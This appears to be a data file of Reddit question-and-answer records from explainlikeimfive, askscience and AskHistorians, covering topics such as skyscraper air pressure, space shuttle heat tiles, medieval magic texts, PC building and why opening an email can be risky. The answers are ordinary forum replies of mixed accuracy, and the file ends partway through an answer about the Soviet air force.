{"q_id": "3tauzq", "title": "why are human male and female body movements so distinguishable from one another (ie walking, hand movements, body language, etc)?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3tauzq/eli5_why_are_human_male_and_female_body_movements/", "answers": {"a_id": ["cx4ph1v"], "score": [2], "text": ["It's going to be a mix of physical variation and stuff picked up from social cues/pressures.  Women have a wider pelvis than men and a different center of mass, so their walk is going to be different.  I'd bet on learned behavior for most of the rest.  Cultures have ideas for what is masculine and feminine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "32yrpx", "title": "What surviving texts on the subjects of science and magick do we have from the Medieval Era or Renaissance?", "selftext": "[What I'm trying to learn is a bit long for a single question; so I'm just asking for period sources. I don't believe there's a rule against it; but it doesn't appear common. (I couldn't find an 'internet librarian' or 'research help' subreddit).]\n\nTrying to get a feel for BOTH what people believed scientifically in the Medieval Era and the rituals of those practicing what they believed was Magick.\n\nParticularly looking for areas where scientific knowledge was very wrong; salamanders born of fire, mice born from discarded clothing, etc. Sources I can easily get online would be easier than rarer items from libraries.\n\nAs I'm looking for what people believed in the era; sources that are older; but were still widely believed like the works of Pliny the Elder are also helpful.\n\nSpecific topics of interest; animals/plants (bestiaries), medicine (apothecary), alchemy, demonology (including Grimoires like the Key of Solomon).", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/32yrpx/what_surviving_texts_on_the_subjects_of_science/", "answers": {"a_id": ["cqfxidv"], "score": [5], "text": ["There are hundreds if not thousands of texts that qualify for your description.\n\nI'm going to recommend you look at two key secondary works of review in which you'll find listed and described most chief primary sources. The first is Richard Kieckhefer's [*Magic in the Middle Ages*](_URL_3_) (Cambridge, 1989, 2000, 2014). Kieckhefer is the foremost historian of magic and witchcraft in the middle ages. He provides a thorough guide to the materials you are asking about, in particular he has organized the 'Further Reading' section by topic. Note that only some of this material exists in English translation.\n\nOn books of magic specifically, you should consult Owen Davies' [*Grimoires: A History of Magic Books*](_URL_8_) (Oxford, 2009). This will give you a quick deep dive into the textual sources to determine what you might want to study in detail.\n\nBeyond the above, you really should look at the following as well:\n\nLynn Thorndike's [*The Place of Magic in the Intellectual History of Europe*](_URL_5_) and his 8 volume [*History of Magic and Experimental Science*](_URL_6_) are older and harder to find but are still key starting points for scholars looking to discern magic from science. The 8 volume set is broken into vol 1-2  <  1300 CE ; vol 3-4 1300-1500 CE ; vol 5-6 1500-1600 CE ; vol 7-8 1600-1700 CE and in them he lists primary sources.\n\nStuart Clark's [*Thinking With Demons*](_URL_1_) (Oxford, 1999) is considered to be the most rigorous look at how demonology worked its way into various spheres of early modern intellectual life from culture to law to science with a lot of citations of source materials. There are few people who have ever read as much source material of this subject and in this era than Clark: his primary source list alone is over 50 pages.\n\nOnce you've determined the sources you want you can try [_URL_0_](_URL_4_) , [Project Gutenberg](_URL_2_) and [Google Books](_URL_7_) to see if they've been scanned up to the web.\n\nSome medieval latin and vernacular texts were translated into English the 19th century and can be found scanned and free. If you know German and French your free 19th c translations will open up greatly.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["Archive.org", "http://books.google.com/books?id=8a758cCSKY0C&amp;printsec=frontcover&amp;source=gbs_ge_summary_r&amp;cad=0#v=onepage&amp;q&amp;f=false", "http://www.gutenberg.org", "https://books.google.com/books?id=Nc1VAgAAQBAJ&amp;printsec=frontcover#v=onepage&amp;q&amp;f=false", "https://archive.org/details/texts", "https://archive.org/details/placemagicinint02thorgoog", "https://archive.org/details/historyofmagicex00thor", "http://books.google.com", "https://books.google.com/books?id=buKLmQUX_LQC&amp;printsec=frontcover#v=onepage&amp;q&amp;f=false"]]}
{"q_id": "2dhh1k", "title": "medieval sunburn", "selftext": "How did the people in the past not get sunburn. I mean they hhadt sunblocker.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2dhh1k/eli5_medieval_sunburn/", "answers": {"a_id": ["cjpj0l1", "cjpj0v6", "cjpjodh"], "score": [4, 2, 2], "text": ["They did get sunburned. Once it happens enough you tan up and it stops being so bad. Most peasants didn't need to worry about living long enough to die from skin cancer. ", "They wore plenty of clothing to beat the Sun's effects.\n\n[Zinc oxide](_URL_0_) existed in days of yore and it is a very good absorber of UV. It's known to have been used as an antiseptic, so it's not far fetched that somebody bright applied it as a sunscreen as well.", "Also they worked outdoors all year round.  So by the time that summer came round they already had a heavy tan providing protection."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Zinc_oxide#History"], []]}
{"q_id": "eazez8", "title": "computer building basics and compatibilities for parts make no sense to me.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/eazez8/eli5_computer_building_basics_and_compatibilities/", "answers": {"a_id": ["faztxj8", "fazu3aj", "fazvqb1"], "score": [3, 2, 2], "text": ["Use a site a like PCPartPicker to find parts that are compatible. You need a case, motherboard, processor (and its cooling accessories), RAM, graphics and sound cards, and storage (SSD and HDD).", "The PC parts industry has very much standardised a lot of things to make the process easier. To build a PC, you're going to need a few things at the least: CPU ( &  a cooler), motherboard, RAM, power supply and case. You can also include GPUs if you're going to game.\n\nA lot of these things fall into the most-will-work category, like power supplies, for example.\n\nOne thing you're going to need to take note of is what CPU you want to buy. The CPU will dictate the chipset (the thing that makes the CPU work with everything else) which will determine which motherboard you can use with that CPU. The motherboard's manufacturer often includes lists of RAM that have been validated to work on their boards.", "There are many \"build guides\" on YouTube which will show you how to build a PC from parts. It's actually not that hard - the actual purchasing step is the most critical because you do need to make sure the parts all fit together and will work. For that I would suggest _URL_0_\n\nGenerally motherboards are built for the CPUs they will take. An AMD board will support a certain selection of AMD chips, an Intel board will support a certain range of Intel chips, etc. It's largely down to the shape and size of the CPU socket as each generation may or may not fit the socket of the previous generation. So start with the CPU you want, then select a motherboard to fit it into based on desired features and price.\n\nOnce that's done, the rest just falls into place and is mainly personal preference or your performance needs. RAM type is dictated by the CPU and motherboard, it's just up to you to select speed and capacity. The graphics card (since you said gaming PC) fits into the PCI slot nearest the CPU. The power supply will be dictated by your efficiency and wattage requirements. Hard drives are based on performance and capacity requirements, and maybe how many M.2 connectors your motherboard has. The case/chassis mainly is about physical size and cooling design - bigger is better within reason.\n\nDon't forget about the external essentials. Do you need Wifi? Do you have a keyboard, mouse, monitor and speakers/headset?\n\nAssembling a PC really is just a matter of putting everything where it goes and screwing it down where applicable. Static electricity protection is absolutely a thing, but it's also really easy - connect the power supply to a wall outlet (flip the switch to OFF if you prefer) and install it early into the case... now the case is grounded and as long as you're touching it you're good. Wear a short sleeved shirt and rest your elbow somewhere on the case frame's metal.\n\nGot any more specific questions?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://pcpartpicker.com/"]]}
{"q_id": "f3j4yl", "title": "why is walking on grass harder than walking on cement?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/f3j4yl/eli5_why_is_walking_on_grass_harder_than_walking/", "answers": {"a_id": ["fhj3m3p", "fhj52bk"], "score": [2, 2], "text": ["The are probably other reasons, but one reason is that when we push on a surface, it pushes back. We use the force of the ground pushing back against our feet to help us walk. Concrete is hard and returns almost all of the force, but grass is soft so it absorbs some of the force and gives less back. Less force returned means walking is harder.", "Grass kinda acts like a really soft mud, you have to use a little force to move the blades of grass away so that results in a slightly viscous movement"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1s6c32", "title": "Is there a large difference between the air pressure inside the tallest floor of a skyscraper and the the air outside?", "selftext": "I work in a 40 story building, and yesterday while staring out the window I wondered what would happen if the window shattered in a much taller building (i.e. the Burj Khalifa in Dubai). Would the air inside the rush out or would air rush in? Is there a great difference in air pressure on both sides of the glass?\n\nTo narrow it down to the biggest thought I had while staring out of the window, would I get sucked out if the window suddenly broke?\n\nEDIT: Thank you, everyone, for the intelligent responses. I've definitely learned quite a bit about this subject.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1s6c32/is_there_a_large_difference_between_the_air/", "answers": {"a_id": ["cdud5zn", "cdue541", "cduebhc", "cduehq9", "cduenpu", "cduf3fo", "cdufay1", "cdufo69", "cdug4u7", "cduj1ee", "cdukc4v", "cdukgrp", "cdumc17", "cdun7vi", "cdur4ef"], "score": [11, 566, 17, 2, 34, 2, 453, 2, 4, 11, 2, 2, 4, 2, 3], "text": ["There would be many factors to consider. Where the intake and outtake vents are for the HVAC systems, how big the floor is, how big the window is. But overall, no big difference. I would say the pressure would be slightly higher inside than out, but not enough to be concerning. I would be more concerned about a strong steady wind blowing with the widow shattering on the leeward side. \n\nAs for the pressurized plane: [Ya that's a thing](_URL_0_)", "Hello! Civil engineer here. What you're asking about is pretty well related to something called the [stack effect](_URL_0_), which is a difference in air pressure relative to elevation from the ground contributing to air movement between lower and higher floors. In summary, due to leakage in the building envelope from all sorts of construction and natural wear causes, and the temperature difference between ground floor and top units, there is a definite pressure difference between the inside and outside of an exterior wall. \n\nI don't readily know of any situation where the stack effect, or just air pressure differences in general, has led to enough of a pressure buildup that someone could be sucked out of a building, granted I've never had the pleasure of working on a very high rise structure where that may be the case. Certainly winds would be a concern for any large opening; and possibly if the wind was gusting enough, pressure differences due to the flowing air would also develop. \n\nEDIT, for additional commentary: I should add on that the stack effect is only one contributor to the potential for pressure buildup/differences in a building, and that there is a list of \"building breathing\" phenomena that could lead to pressure changes, such as: forced ventilation (HVAC), combustion (for furnaces) drawing air into the fire and up through the chimney, wind across a building seeping through leaks in a wall on one side of the building and exiting through leaks on the opposite wall(s). Unfortunately I can't remember them all at the moment. ", "The pressures themselves are not much different as people have pointed out, but one thing to consider is wind shear on that building. Square style skyscrapers have a very large surface area and wind velocity increases as it goes by, especially if it is near other tall buildings. You may have noticed this when walking downtown and step past a building and a huge gust of wind hits you. This wind can lower air pressure inside the building if there is a hole to the outside. By no means would it \"suck you out\", but it could make it rather windy and blow some papers around :). This happens due to Bernoulli's principle that you can read [here](_URL_0_). To test this you can do it two ways: \n\n1. take a glass of liquid and two straws. Put one straw in the glass and take the second straw and blow air across the top of the first straw. The fluid in the straw will rise because the air in the straw is lower than the air around it, causing the fluid to move upward.\n\n2. The second way is to take two tissue boxes or books and put them side by side. Lay a sheet of paper across the two books so it is a flimsy bridge. blow air under the paper and it will bend downward. This is due to that lower air pressure under the paper.\n\nHope that helps!", "There can be 'large' pressure differences, but not as a result of altitude. Skyscrapers experience much higher winds than you would see at street level. High winds across a window result in a low pressure zone which can be quantified with Bernouilli's equation. A ~2m x ~3m glass panel with ~60kph winds outside would have something like 100kg of force pushing it out.  \n\nI don't think you would be sucked out from far away, but if you were standing right up to the window when it popped out and not expecting it, I'd guess you'd be pulled out with it.  ", "No, its the same pressure outside. \n\nNot sure why anyone wants to make the answer complicated. Its not. You can open windows in very high buildings. You can open windows in small planes. Toss bodies out. That's probably why people don't like windows you can open in high buildings. \n\nI'd like to make this complex as others are tempted, but its not. The buildings aren't pressurized. There's nothing more too it. There are no interactions involving swaying of buildings, solar heating and pressure differentials. The shape of the building or the wind does not matter. The air pressure is the same in and out. period. Even with hurricane force winds the air pressure in the building will be the same as the air pressure in the hurricane. If the pressure is low the building pressure will be low. Building are not built to support sustained pressure differential on their panes. They are built to support dynamic pressure changes due to winds, sudden gusts and the momentary pressure those cause in structures.  That affect is the same in short structures as in large. Houses are messed up by hurricanes for the same reason as tall buildings are- and its not because either of them are pressurized, its because the momentary gusts create unbalanced pressure differentials. \n\nPeople who tell you the pressure is higher or lower inside are wrong. Its the same pressure inside. It can get warmer and that pressure is vented to mitigate the stack effect. That is vented immediately- and the pressure is equalized. Buildings are not sealed. Engineering buildings would be very tough if they were pressurized. ", "I work on the 47th floor of my building. I noticed early on that on the ground floor when exiting the building and when getting off the elevators in the lobby, as the doors open you can hear the air rushing to equalize. I did some asking around and learned that they pump positive air pressure into the core (stairs and elevators) so if there is ever a fire, they stay smoke free.", "HVAC Professional here.  The direct answer to your question is \"it depends\".  \n\nModern HVAC systems are designed to maintain a slightly positive pressure inside the building during summer, and neutral or slightly negative in winter.  In the summer, the hot outside air is more moist than dryer, conditioned cool air.  We would prefer to keep that moist air outside.  Conversely, in winter it is bone dry outside, and positive internal pressure would push internal moisture into the building envelope (insulation, framing, etc) which we do not like as that moisture can condense and lead to mold.  \n\nModern HVAC systems have sensors that measure pressure inside ductwork, inside lobbies, and outside the building.  They are computer controlled to increase or decrease supply and exhaust fan CFM rates to maintain ventilation and pressure setpoints.  Sometimes this is executed poorly, and results in exterior doors that are either super hard to pull open, or that never quite close all the way.  Bank buildings and restaurants are famous for this.\n\nEDIT: You would NOT get sucked out the window, but you may feel a gentle breeze. ", "At least under typical US building codes, in commercial buildings, you are required to (semi-continuously) provide some percentage of outside air through the HVAC system.  Fundamentally, this means that as the air circulates through the air handling system, some percentage is re-circulated, and some is exhausted to the exterior, to be replaced with \"fresh\" exterior air.  What that means is that there is essentially a fairly large opening through the air handling units connecting the interior of the building and the exterior, with no equipment capable of maintaining a large pressure difference.  Yes, there are fans pushing the air around, and that works because of a pressure difference across the fan, but that isn't enough to maintain a large difference.\n\nLook at most very tall buildings - there will be bands periodically that are not glazing (aka glass), but are instead large vents.  This is where the HVAC equipment for that band of floors is located.  (Though not all tall buildings have these vent bands clearly visible.)\n\nTall buildings are not sealed vessels.  They continuously exchange air with the exterior, and thus can't maintain a large pressure difference.", "Using the air pressure and altitude above sea level equation from _URL_0_ and the height of the tallest building in the world, I've got that it's less then 10% change in pressure from the bottom of the building to the top. I don't think that it's a big enough difference to suck a person out or anything.", "It's rather easy to estimate the maximum possible pressure ratio between sea-level and the absolute top of the tallest building in the world. Keep in mind, though that nothing within the range of the tallest buildings is ever pressurized. So the pressure will be nearly equalized. Nevertheless, we can look at the potential scenario of a pressurized elevator:\n\nThe Burj Khalifa Hotel is 2 722 ft tall (That's probably above the highest room, but in the interest of extremes we'll take that altitude).\n\n[At sea level, the 1976 US Standard Atmosphere Model predicts a pressure of 101 325 Pa (14.696 psi) or 1.0 atm.](_URL_2_) \n\n[At 2 722 ft, the pressure is just 91 747 Pa (13.307 psi) or 0.91 atm.](_URL_2_) \n\nIn other words, going up that high you lose a bit less than 10% of the atmospheric pressure compared to sea level. It's reasonable to assume Dubai is at sea level since it is functionally on the coast and a quick check shows that the [Dubai International Airport sits at just about 60 ft above sea level](_URL_0_)\n\nThose are nice numbers but you don't get much feel for the situation. If you were in an airtight elevator at sea level pressure at 2 722 ft and the doors opened to the free air, you would feel a pressure force. The raw difference in pressure is 1.386 psi (pounds per square inch). Approximating a person's surface area as 6 ft x 2 ft, that's 1 728 _URL_1_. \n\nSo the total force in that situation could be as high as 1.386 psi*1 728 _URL_1_. = 2 395 lbf (10 653 N). \n\nThat's a pretty huge force, but what you also have to realize is that it's a very brief fraction of that force and you aren't stuck to the walls of the elevator with an airtight seal (i.e. your body isn't holding back all of that pressure differential). The pressure will equalize almost instantaneously and you'll just feel some air rush past you, not sucking you out the door.", "In an idealized wind-less scenario, no air would be rushing anywhere if you broke a window because the air density already exists in equilibrium with gravity. Ie there is negligible pressure difference between just outside of the window and inside the window.\n\nNow typically at higher altitudes, the air is faster. Higher velocity fluids exert less pressure on parallel surfaces, so there would be a pressure differential between what is outside of the window and the still air inside the building. You might get sucked out if you're standing next to the window in some extreme scenario, but I wouldn't worry about it too much.", "I once took an elevator to the fortieth floor of a building in downtown Calgary. It was a breezy day but nothing special. When I got off the elevator there was a rush of wind being sucked out of a huge hole - a missing shattered pane of floor to ceiling glass. There was caution tape set up about thirty to forty feet from the opening and you could feel a fairly strong pull toward the hole. Turned out a guy about five minutes earlier had taken a 2 litre pop bottle full of coins, thrown it through the window and then jumped. A lot of traumatized people from other buildings and on ground level who witnessed it.", "There are a lot of good answers, I will share my story. Ex. Climatology student, covered this topic in relation to wind. \n\nThere are cases of extreme pressure differences which some have covered and could result in a window theoretically being sucked out. The greater concern is related to the effect of wind passing around the building. As fast moving air passes across the structure and leaves the far side it will turn back on itself(kind of like air moving over a truck on the highway, drive close and you draft) this create an area of heavy suction. Mostly 90 degree corners. I apologize as I can't recall exact terminology. This increased suction can and has sucked windows off buildings. I recall a story in Chicago where a man left his briefcase in his office when heading home. He went back to his office to get it to find the window gone and everything that wasn't heavy or tied down had been sucked out. His briefcase was found several blocks away apparently. \n\nThis isn't really associated to pressure differentials but it is a situation in which you can have someone theoretically sucked out of a building.\n\nTLDR: corner office isn't always the best office.\nEDIT - grammar and tldr", "I've done some math.\n\nI've estimated (thanks to enigneering toolbox) about 1.45 PSI atmospheric pressure difference between the top and bottom of Burj Khalifa. So if the top floor was pressurized to the same pressure as the ground floor, a 4'x4' window on the top floor would have approximately (48\"x48\"x1.45 PSI) ~ 3300 lbs force outward on that window (imagine a small car uniformly distributing a force on a small window).\n\nI cannot comment why or if they would pressurize the top floor like that though.", "Structural Analysis engineer, so I'll look at it through that perspective. I think the real question you are asking is, \"what is the pressure differential due to my altitude, and could the building maintain that pressure differential?\"\n\nBack of the envelope:\n(delta_P) = (density of air)*(acceleration due to gravity)*(change in height)\n\nTop floor of Burj Khalifa is 584 meters, corresponding to approximately 7 kPa or ~ 1psi.\n\nThis may not seem like much, but if you were to pump a room up to 1 psi, all of the windows in the room would shatter instantly. Think about it, for a 2'x2' window, that corresponds to almost 600 lbs of force on it.\n\nGoing up in altitude on the order of what a skyscraper can provide will significantly change the ambient pressure more than what the glass structure can support. Therefore, the pressure inside the building is dropping at a nearly identical rate at the pressure outside. This might seem alarming, but is no big deal. Airline cabins are typically pressurized to an equivalent altitude of 2,400 m and we seem to do just fine."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Aloha_Airlines_Flight_243"], ["http://en.wikipedia.org/wiki/Stack_effect"], ["http://en.wikipedia.org/wiki/Bernoulli%27s_principle"], [], [], [], [], [], ["engineeringtoolbox.com"], ["https://www.google.com/#q=dubai+elevation", "sq.in", "http://www.digitaldutch.com/atmoscalc/"], [], [], [], [], []]}
{"q_id": "kl69i", "title": "wtf is happenining in this ted talk?", "selftext": "Call me a cynic, but there has to be some explanation for what's happening in this TED talk. Anyone? (Keith Barry does brain magic) _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/kl69i/eli5_wtf_is_happenining_in_this_ted_talk/", "answers": {"a_id": ["c2l62u9", "c2l73lv", "c2l62u9", "c2l73lv"], "score": [2, 2, 2, 2], "text": ["i would go with derren brown type of suggestions with his speech and voice telling them what to do. the spike trick, chris angel does a similar one, and once again power of suggestion gets him to say the right answer", "The cup and nail trick doesn't always go well.\n\n_URL_1_\n\n_URL_0_", "i would go with derren brown type of suggestions with his speech and voice telling them what to do. the spike trick, chris angel does a similar one, and once again power of suggestion gets him to say the right answer", "The cup and nail trick doesn't always go well.\n\n_URL_1_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.ted.com/talks/keith_barry_does_brain_magic.html"], "answers_urls": [[], ["http://www.youtube.com/watch?v=g2seRI-CHDs&amp;feature=player_detailpage#t=170s", "http://www.youtube.com/watch?v=oaUXxadeo4c"], [], ["http://www.youtube.com/watch?v=g2seRI-CHDs&amp;feature=player_detailpage#t=170s", "http://www.youtube.com/watch?v=oaUXxadeo4c"]]}
{"q_id": "26idyd", "title": "Why weren't the space shuttle's tiles as smooth as we could make them?", "selftext": "Example: _URL_0_", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26idyd/why_werent_the_space_shuttles_tiles_as_smooth_as/", "answers": {"a_id": ["chrfjys", "chrgwcs", "chrhd9u", "chrid77", "chrk2ux", "chrzpe7"], "score": [83, 5, 27, 6, 13, 2], "text": ["What you are referring to are the heat shields. A space shuttles under-body is coated in approximately 24,000 unique tiles composed of very pure quartz sand, this makes them extremely brittle (you can easily crush them with your hands). The black tiles are coated in Reaction Cured Glass to provide protection to the porous tiles and improve heat-sink properties. The reason why extra time isn't spent to make these tiles as smooth as possible is because it's not exactly practical. You are right saying that a smooth surface does not create any tiny pockets of air which would result in hot spots but the tiles are so poor at conducting heat that they do not require additional work. \n\n_URL_0_", "The undulations on the surface of the shuttle in the picture you link to are not rough thermal protection tiles, but [blankets.](_URL_0_)\n\n[In addition, smooth isn't always aerodynamically good.](_URL_1_)", "Wind/air resistance has little to do with the problems experienced by the shuttle. Friction makes a minimal contribution to the heating, which actually results from the fact that the spacecraft is moving so quickly the air below it is being compressed and is superheating (think Ideal Gas Law, PV=nRT; as P and V increase, so will T).\n\nThe tiles are designed to absorb but not transfer this heat to the rest of the craft. Reducing friction with the atmosphere is not the goal of spaceflight heat-shielding.\n\n_URL_0_\n_URL_1_\n", "Aerodynamics was not the biggest concern when designing the orbiter, slowing the craft was. Ever wonder why the orbiter's nose was blunt, not sharp? During re-entry, the orbiter has such high velocity that the narrow shock pattern produced by the nose would tear the wings and tail apart. Anyway, rough tiles would provide additional drag to help slow the orbiter before landing.", "The tiles are only visible in the upper portion.\n\nThe tiles are there for insulation and also ablation (the surface is constantly being turned into a gas, carrying away the heat of re-entry). Making them smooth is of interest, since if the flow on the surface becomes turbulent rather than laminar, the heat transfer rates into the surface increase between 300-800%. With laminar flow, you leave a lot more of the heat in the gas.\n\nHigher surface roughness makes that transition happen earlier, so you generally want to keep it low. However, your minimum surface roughness changes depending on what material you use for your thermal protection system. If you use metal, you can get lower surface roughness, but metal has a lot of disadvantages in terms of how much heat it can handle, the fact that it won't ablate as well as ceramic, and some effects on flow chemistry that can increase the temperature of the gas. \n\nIn addition, the important factor is the ratio of the surface roughness height to the thickness of the boundary layer (the region above the surface where viscous forces are important). Below a certain ratio, the surface roughness should have little or no effect on the flow, so there's no point in controlling it beyond that. However, surface roughness variations were thought to be the major determining factor behind variations in transition onset for the Shuttle, so the tile roughness was probably above that threshold.\n\nFor the shuttle, the tiles were supposed to be the best compromise between manufacturing efficiency, thermal protection performance, and aerodynamic performance. You can only make them match up *so* well before the costs balloon incredibly. This can be observed with stealth aircraft: in order to reduce radar cross section, all the pieces need to fit together precisely so that there are no noticeable gaps or misalignments of adjacent pieces. This is one reason why stealth aircraft are so much more expensive to build and maintain.", "Wow, a lot of wrong answers in this thread. Take a spray can of insulation foam and spray it into a pile of sand, and then see how \"polished\" you can get it. The material won't polish, it's not dense enough and it's too brittle. It's as smooth as it's going to be. There is a coating on the tile definitely makes it smoother than the ceramic material underneath... but all what matters is the insulation, not the aerodynamic performance. The shuttle's aerodynamic requirements is to re-enter, glide, slow down, and land. That's it.\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": ["http://www.jacook.name/discovery/window5hrsitiles_2.jpg"], "answers_urls": [["http://en.wikipedia.org/wiki/Space_Shuttle_thermal_protection_system"], ["http://en.wikipedia.org/wiki/Space_Shuttle_thermal_protection_system#Flexible_Insulation_Blankets.2FAdvanced_Flexible_Reusable_Insulation_.28FIB.2FAFRSI.29", "http://en.wikipedia.org/wiki/Flow_separation"], ["http://www.nasa.gov/mission_pages/constellation/orion/orionheatshield.html", "http://www.uu.edu/dept/physics/scienceguys/2003Mar.cfm"], [], [], ["http://imgur.com/3SwnVvJ"]]}
{"q_id": "1gv4ti", "title": "How did some other cultures explain to their young where babies come from? When did it become frowned upon to tell children the truth or was it always told as a myth until the children reached a certain age?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gv4ti/how_did_some_other_cultures_explain_to_their/", "answers": {"a_id": ["cao4drx"], "score": [5], "text": ["By \"other\" I take it you mean other than the standard \"stork story\" of Northern Europe. But it's worth explaining how that came about. When a woman went into confinement, the house completely closed up. The functional aspect of this was to keep children and others from interrupting or interfering with the process, but the justification drew on the idea that an assortment of supernatural beings were attracted to the process, seeking to take either the woman or the baby, both of whom were vulnerable. And both remained vulnerable until infant baptism but also until the woman was \"churched,\" i.e. readmitted into the Christian congregation. \n\nBecause Northern Europeans regarded storks as good luck, they often placed a wagon wheel on a pole and arranged so it was flat, facing up, above the top of the roof line to attract nesting storks. Because the house was sealed (except for the chimney) and because a stork was up there near the chimney, the stork became an obvious way to explain how a new arrival could suddenly appear inside a sealed house. My source is my mentor, Sven S. Liljeblad (1899-2000) who saw these stork nests in turn-of-the-century Sweden. It is also described in his Introduction to Folklore, which is unfortunately unavailable at the moment (I'm working on getting it online).\n\nEdit: date to Sven's life span, second to last sentence"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6p96ni", "title": "what is the cause of meat-sweats? or sweating when you've had far too much to eat.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6p96ni/eli5_what_is_the_cause_of_meatsweats_or_sweating/", "answers": {"a_id": ["dknucwu"], "score": [14], "text": ["Eating will warm you up because you do actually burn calories. Mitochondria in your cells oxidize what you eat. Oxidization is \ud83d\udd25"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "4tugcn", "title": "Why don't plagues spread through ocean animals?", "selftext": "The ocean is a cesspool of animal waste, and fish live in extremely close proximity. On land, this would be a haven for diseases to spread, and water would seem to speed all that up. Why doesn't a super-bacteria come and wipe everything out?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4tugcn/why_dont_plagues_spread_through_ocean_animals/", "answers": {"a_id": ["d5mp5xp"], "score": [2], "text": ["Well, things like this DO happen: _URL_0_. As far as jumping between species to kill *everything*, the bacteria would have to be able to attack vastly different species, some of which have very different physiology (think shark vs. turtle vs. jellyfish vs. protazoan vs. whale vs. penguin). Not a lot of bacteria are going to be able to thrive in all of those different environments. Also, I don't know about fish, but crocodile serum complement systems are f*king amazingly efficient and effective: _URL_1_. The complement system is part of the \"innate\" arm of the immune system, that responds pretty much immediately to a pathogen. I would expect that fish would be similarly armed. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://news.nationalgeographic.com/news/2015/01/150113-mass-die-off-disease-animals-environment-science/", "http://news.nationalgeographic.com/news/2008/04/080407-alligator-blood_2.html"]]}
{"q_id": "sigs8", "title": "What properties would you measure for river health and how could you do this autonomously?", "selftext": "I work with an ocean observing project but full disclosure, I'm not a scientist. My interest is in fish and waterways but the oceanographers don't seem to be interested in rivers or riparian issues! What properties would you need to measure for river health? i.e. nitrate levels? oxygen? flow? depth? Second part of the question;  the instruments they use in ocean science seem to be big and expensive. With technology at the state it is today, could you capture the critical properties with smaller instruments or even deploy autonomous packages like DIY weather stations or air quality networks?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/sigs8/what_properties_would_you_measure_for_river/", "answers": {"a_id": ["c4ec0z4"], "score": [2], "text": ["What do you mean by \"health\"?  Overall health?  Biotic Health?  health of the physical structure or hydrology?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6vwhc7", "title": "how can merely opening an email be dangerous, if you don't download the attachments?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6vwhc7/eli5_how_can_merely_opening_an_email_be_dangerous/", "answers": {"a_id": ["dm3jyaj"], "score": [24], "text": ["Email at first was text only, now it can contain images, gifs, etc. This is because web technologies (HTML, CSS) spilled into email territory.\nSo, the email clients (Outlook, Thunderbird, etc...) now need the ability to render emails like a web browser but instead of reinventing the wheel and create a render engine, is easier to reuse an existing engine from a web browser to do so.\nThis open the door to vulnerabilities that can affect you with only looking at an email the same way a web page does, because now the email client has to interpret the code in the email to render it, and wherever code has to be interpreted there's always the danger of an exploit lurking."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1kmml2", "title": "What's the margin of error that large rockets (such as the space shuttle) have on their fuel to total weight ratio?", "selftext": "I know they need to be fairly accurate in determining the total weight in order to calculate the fuel needed, but how far off can their calculations be? Could they throw another pound on last second? How about a whole person (assuming that extra food and water won't be needed)?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1kmml2/whats_the_margin_of_error_that_large_rockets_such/", "answers": {"a_id": ["cbqlsu0"], "score": [2], "text": ["I know for the space shuttle it was calculated to within a few lbs. And not just that, bit it was measured in relation to the center of gravity so ascent and orbital maneuvers could be adjusted accordingly. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9jv24r", "title": "How good was the Red Air Force?", "selftext": "You often hear people praising aircraft from other major powers of WW2 like P-51 Mustang, Spitfire, BF109 and Zero but you rarely hear people talking about the aircraft of the Red Air Force, except maybe the IL-2 Sturmovik. So how good were their aircraft? Were the aircraft poor or were the pilots simply poorly trained, considering how many aces the Germans had, many of whom had over 100 airkills?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/9jv24r/how_good_was_the_red_air_force/", "answers": {"a_id": ["e6unpu1"], "score": [23], "text": ["To adress the first part of the question in the beginning of the war the soviets had many planes that were out of date many squadrons still used I-15's, (not to say other powers did not use bi-planes, the US navy, the royal navy the luftwaffle and the RAF still used bi-planes into the early years of the war although in a much smaller way then the Red Airforce) however in the spanish civil war and in kaklin gol the soviet I-16's were equal and often better then the enemy planes such as the bf-109 A's, the assorted german bi-planes and the KI-21. In the first days of operation Barbarossa, much of the Soviet Airforce was destroyed on the ground, the few that got into the air had major difficulty getting close enough to the new bf-109 E-F's to get any kills however the much lower airspeeds of the i-15s and Po-2s meant that many german pilots had difficulty killing the Soviet pilots. As the war continued new soviet designs were put into production such as the La-5 and the yak 1,3,7 and 9s were able to compete with the german Fw 190s and the later 